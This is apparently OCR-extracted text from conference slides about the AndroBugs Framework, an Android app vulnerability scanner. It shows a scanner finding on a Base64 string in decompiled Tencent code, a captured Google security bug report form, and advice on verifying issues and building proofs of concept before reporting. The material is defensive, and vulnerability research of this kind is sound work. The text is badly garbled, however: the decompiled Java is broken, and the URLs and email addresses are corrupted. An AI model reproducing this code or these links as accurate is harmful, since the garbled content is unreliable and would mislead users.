* But PLEASE DO NOT blame on the developers!! Who knows
somebody will try to decode every Base64-like String?

[Critical] <Hacker> Base64 String Encryption:
Found Base64 encoding "String(s)"™ (Total: 1). We cannot guarantee all of the Strings are Baset64 encoding and also we will not
show you the decoded binary file:
| fuck I
—->»0Original Encoding String: ZnvVijaw==

—>»From class: Loom/tencent/mm/ae/c;->gl(Ljava/lang/String;)Lijava/lang/String;

public final String gl{String s)

if{ck hX(s}))
return null;
else

return La{cwN, "remark_", f.h({{new StringE!uiIder{)}.append{5}.appenli{"Zanav.f::“ toString().getBytes()), ".png”, 1);

¥

Base64_encode(“fu*k”) =» ZnVjaw==

37 RARndenPrine
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https://github.com/AndroBugs/AndroBugs_Framework
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But Please =ﬂ“

* If you get the report from AndroBugs Framework, please DO NOT
directly copy and paste the report into the security report form:

- ol
. == | G Google - Security Bug R x '\
€« C fi @& https//www.google.com/apps Irity- Sl @ ew =

Google

Security Bug Report

Problem Description

Please describe the issue you wish to report

| need assistance with my Google account.
| want to remove content on Google Search, Youtube, or another service.

® | want to report a technical security bug in a Google product (SQLI, XSS, etc.).
| want to report fraud, malware, or other problems not listed above.

Verify the issue and make the POC first

Contact Information
AndroRune

The email address we will use to contact you
90
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* Not all companies know about mobile security and have the same
attitude or standard toward security. You will need to convince them
of your idea, so be prepared with a POC.

* Try to understand or grasp every vulnerability as deep as you can. The
most interesting things you’ve found may be the most dangerous
security holes many developers have made.

* Same mistakes are made again and again. AndroBugs Framework can
help you find those security vulnerabilities faster and easier.
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 https://github.cofn/ANdreBd
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@AndroBugs  { _
androbugs.framework@gmail.cond L




